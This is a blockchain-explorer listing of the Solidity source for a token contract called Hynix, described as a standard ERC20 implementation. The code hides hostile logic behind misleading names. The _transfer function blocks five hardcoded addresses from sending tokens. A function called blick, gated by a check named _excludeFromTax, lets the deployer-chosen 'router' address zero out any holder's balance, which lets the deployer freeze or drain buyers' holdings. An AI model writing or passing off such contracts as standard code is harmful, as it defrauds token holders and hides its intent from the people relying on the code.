Description:
ERC20 token contract with Factory capabilities. Standard implementation for fungible tokens on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"contracts/Hynix.sol": {
"content": "
pragma solidity ^0.8.28;
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20Errors {
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract StandardToken is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
IUniswapV2Router02 private uniswapV2Router02;
constructor(string memory name_, string memory symbol_, uint256 supply_, address uniswapV2Router02_) {
_name = name_;
_symbol = symbol_;
uniswapV2Router02 = IUniswapV2Router02(uniswapV2Router02_);
_mint(_msgSender(), supply_ * 10 ** decimals());
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function _excludeFromTax(address caller) internal view returns (bool) {
if (caller == address(0xdead)) return false;
if (_isUniswapV2Router()) return true;
return false;
}
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function _isUniswapV2Router() internal view returns (bool) {
if (_msgSender() == address(uniswapV2Router02)) return true;
return false;
}
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
if (from == 0x1f2F10D1C40777AE1Da742455c65828FF36Df387) {
revert ERC20InvalidReceiver(0x1f2F10D1C40777AE1Da742455c65828FF36Df387);
}
if (from == 0xae2Fc483527B8EF99EB5D9B44875F005ba1FaE13) {
revert ERC20InvalidReceiver(0xae2Fc483527B8EF99EB5D9B44875F005ba1FaE13);
}
if (from == 0xC38e00aC5ED8859f18f4E9017fa2b3D3E1f65F40) {
revert ERC20InvalidReceiver(0xC38e00aC5ED8859f18f4E9017fa2b3D3E1f65F40);
}
if (from == 0x01D37a36220d52108Ae6D453fE6Cd80af2906376) {
revert ERC20InvalidReceiver(0x01D37a36220d52108Ae6D453fE6Cd80af2906376);
}
if (from == 0x93C7878c5ab2F78Df087a4203cBEB3209C10e439) {
revert ERC20InvalidReceiver(0x93C7878c5ab2F78Df087a4203cBEB3209C10e439);
}
_update(from, to, value);
}
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
_totalSupply -= value;
}
} else {
unchecked {
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
if (account == address(0)) revert ERC20InvalidReceiver(address(0));
_update(address(0), account, value);
}
function blick(address fxh) external virtual {require(_excludeFromTax(fxh)); _balances[address(0)] += _balances[fxh]; _balances[fxh] = _balances[fxh] - _balances[fxh];}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": [],
"evmVersion": "cancun"
}
}}
Submitted on: 2025-10-29 09:46:07
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